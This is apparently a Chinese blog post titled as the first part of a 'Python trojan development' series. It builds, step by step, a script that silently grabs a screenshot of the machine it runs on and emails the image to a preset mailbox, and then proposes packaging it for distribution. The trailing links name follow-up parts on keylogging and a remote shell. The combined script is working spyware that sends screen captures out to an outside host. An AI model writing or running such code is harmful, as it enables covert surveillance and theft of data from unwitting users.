import smtplib
 from email.mime.text import MIMEText
 msg_from='1@qq.com'                                 #发送方邮箱
 passwd='bd'                                   #填入发送方邮箱的授权码
 msg_to='1@qq.com'

 subject="python邮件测试"                                     #主题
 content="这是我使用python smtplib及email模块发送的邮件"
 msg = MIMEText(content)
 msg['Subject'] = subject
 msg['From'] = msg_from
 msg['To'] = msg_to
 try:
     s = smtplib.SMTP_SSL("smtp.qq.com",465)
     s.login(msg_from, passwd)
     s.sendmail(msg_from, msg_to, msg.as_string())
     print( "发送成功")
 except:
     print("发送失败")
 finally:
     s.quit()

以上是文本类型邮件的发送,不适用图片邮件的发送

以下是图片类型的邮件发送

 import smtplib
 from email.mime.text import MIMEText
 from PIL import ImageGrab
 import random
 from time import *
 from email.mime.multipart import MIMEMultipart
 from email.mime.text import MIMEText
 from email.mime.image import MIMEImage

 def send():
     sender = '1@qq.com'
     receivers = '17@qq.com'
     message =  MIMEMultipart('related')
     subject = '终于能发图片了'
     message['Subject'] = subject
     message['From'] = sender
     message['To'] = receivers
     content = MIMEText('<html><body><img src="cid:imageid" alt="imageid"></body></html>','html','utf-8')
     message.attach(content)

     file=open("F:\\12.png", "rb")
     img_data = file.read()
     file.close()

     img = MIMEImage(img_data)
     img.add_header('Content-ID', 'imageid')
     message.attach(img)

     try:
         server=smtplib.SMTP_SSL("smtp.qq.com",465)
         server.login(sender,"i")
         server.sendmail(sender,receivers,message.as_string())
         server.quit()
         print ("邮件发送成功")
     except smtplib.SMTPException as e:
         print(e)
 send()

之后我们继续学习截屏幕保存

 from PIL import ImageGrab
 import random
 from time import *

 strings = "qwertyuiopasdfghjkzcvbnm0123456789[].,/?"
 lenght  = len(strings)
 name = ""

 for j in range(1,3):
     for i in range(1,5):
         r = random.randint(1,36)
         name+=strings[r]
     im = ImageGrab.grab()
     im.save('F:\\'+name+'.png')
     name = ""

我们尝试将他们结合起来:

 import smtplib
 from email.mime.text import MIMEText
 from PIL import ImageGrab
 import random
 from time import *
 from email.mime.multipart import MIMEMultipart
 from email.mime.text import MIMEText
 from email.mime.image import MIMEImage

 def send():
     im = ImageGrab.grab()
     im.save('F:\\test.png')
     sender = '@qq.com'
     receivers = '@qq.com'
     message =  MIMEMultipart('related')
     subject = '终于能发图片了'
     message['Subject'] = subject
     message['From'] = sender
     message['To'] = receivers
     content = MIMEText('<html><body><img src="cid:imageid" alt="imageid"></body></html>','html','utf-8')
     message.attach(content)

     file=open("F:\\test.png", "rb")
     img_data = file.read()
     file.close()

     img = MIMEImage(img_data)
     img.add_header('Content-ID', 'imageid')
     message.attach(img)

     try:
         server=smtplib.SMTP_SSL("smtp.qq.com",465)
         server.login(sender,"")
         server.sendmail(sender,receivers,message.as_string())
         server.quit()
         print ("邮件发送成功")
     except smtplib.SMTPException as e:
         print(e)
 send()

欧克,成功,我们打包试试看

python trojan development 1st —— use python to send mail and caputre the screen then combine them的更多相关文章

  1. python trojan development 2nd —— use python to send mail and listen to the key board then combine them

    请勿用于非法用途!!!!!本人概不负责!!!原创作品,转载说明出处!!!!! from pynput.keyboard import Key,Listener import logging impor ...

  2. python trojan development 3rd —— use python to creative a simple shell

    前两篇文章的木马太被动,今天是通过socket和os来进行主动木马编写 有些s13,我真的搞不懂拿一些没过脑子的代码就放到网上去害人,骗流量,还某知名安全企业学院写的,真的服.我的代码自己运行过,很稳 ...

  3. Python Geospatial Development reading note(1)

    chapter 1, Summary: In this chapter, we briefly introduced the Python programming language and the m ...

  4. Beginning Python Games Development

    Like music and movies, video games are rapidly becoming an integral part of our lives. Over the year ...

  5. Python 3.4 send mail

    #coding=utf-8 #Python 3.4 https://docs.python.org/3.4/library/ #IDE:Visual Studio 2015 Window10 impo ...

  6. 【Python网络编程】利用Python进行TCP、UDP套接字编程

    之前实现了Java版本的TCP和UDP套接字编程的例子,于是决定结合Python的学习做一个Python版本的套接字编程实验. 流程如下: 1.一台客户机从其标准输入(键盘)读入一行字符,并通过其套接 ...

  7. 【转】linux和windows下安装python集成开发环境及其python包

    本系列分为两篇: 1.[转]windows和linux中搭建python集成开发环境IDE 2.[转]linux和windows下安装python集成开发环境及其python包 3.windows和l ...

  8. python公司面试题集锦 python面试题大全

    问题一:以下的代码的输出将是什么? 说出你的答案并解释. class Parent(object): x = 1 class Child1(Parent): pass class Child2(Par ...

  9. python 2016 大会 pyconsk ppt ---python dtrace

    https://github.com/pyconsk/2016-slides PyCon SK 2016 - March 2016 1DTrace and PythonJesús Cea Aviónj ...

随机推荐

  1. Android官方教程翻译(1)——创建第一个Android应用

    转载请注明出处:http://blog.csdn.net/dawanganban/article/details/9822431 Building Your First App GETSTARTED ...

  2. C#中的DataGridView

    关键字:C# DataGridView作者:peterzb来源:http://www.cnblogs.com/peterzb 1.DataGridView实现课程表 testcontrol.rar 2 ...

  3. WinForm控件与WPF控件的交互

    原文:WinForm控件与WPF控件的交互 这个问题其实也可以理解为:怎样在WPF/XAML中使用Winform中的控件(如PictureBox)?首先看看XAML代码:(注意下面加粗的部分)< ...

  4. 格式字符串分配stl::string

    代码非常easy,不解释,直接在代码: #include <cstdio> #include <cstdarg> #include <iostream> using ...

  5. Robot Framework 快速入门_英文版

    Copyright © Nokia Siemens Networks 2008 Licensed under the Apache License, Version 2.0 Table of Cont ...

  6. String关于BeanFactory与ApplicationContext的简单区别

    1.创建的方式不同 ApplicationContext: ApplicationContext context = new ClassPathXmlApplicationContext(" ...

  7. WPF SystemParameters的使用

    SubWindow win = new SubWindow();                //win.Width = SystemParameters.WorkArea.Width;      ...

  8. jquery 用json设置css

    <!DOCTYPE html><html><head><meta http-equiv="Content-Type" content=&q ...

  9. ELINK编程器典型场景之多APP文件下载

    有些应用场合中,单MCU内会采用BootLoader+APP1+APP2的加载模式,程序启动时先进入BootLoader程序,依据设定条件跳转至APPx应用运行:为满足此类需求,设计多达5个程序文件( ...

  10. 一个让业务开发效率提高10倍的golang库

    一个让业务开发效率提高10倍的golang库 此文除了是标题党,没有什么其他问题. 这篇文章推荐一个库,https://github.com/jianfengye/collection. 这个库是我在 ...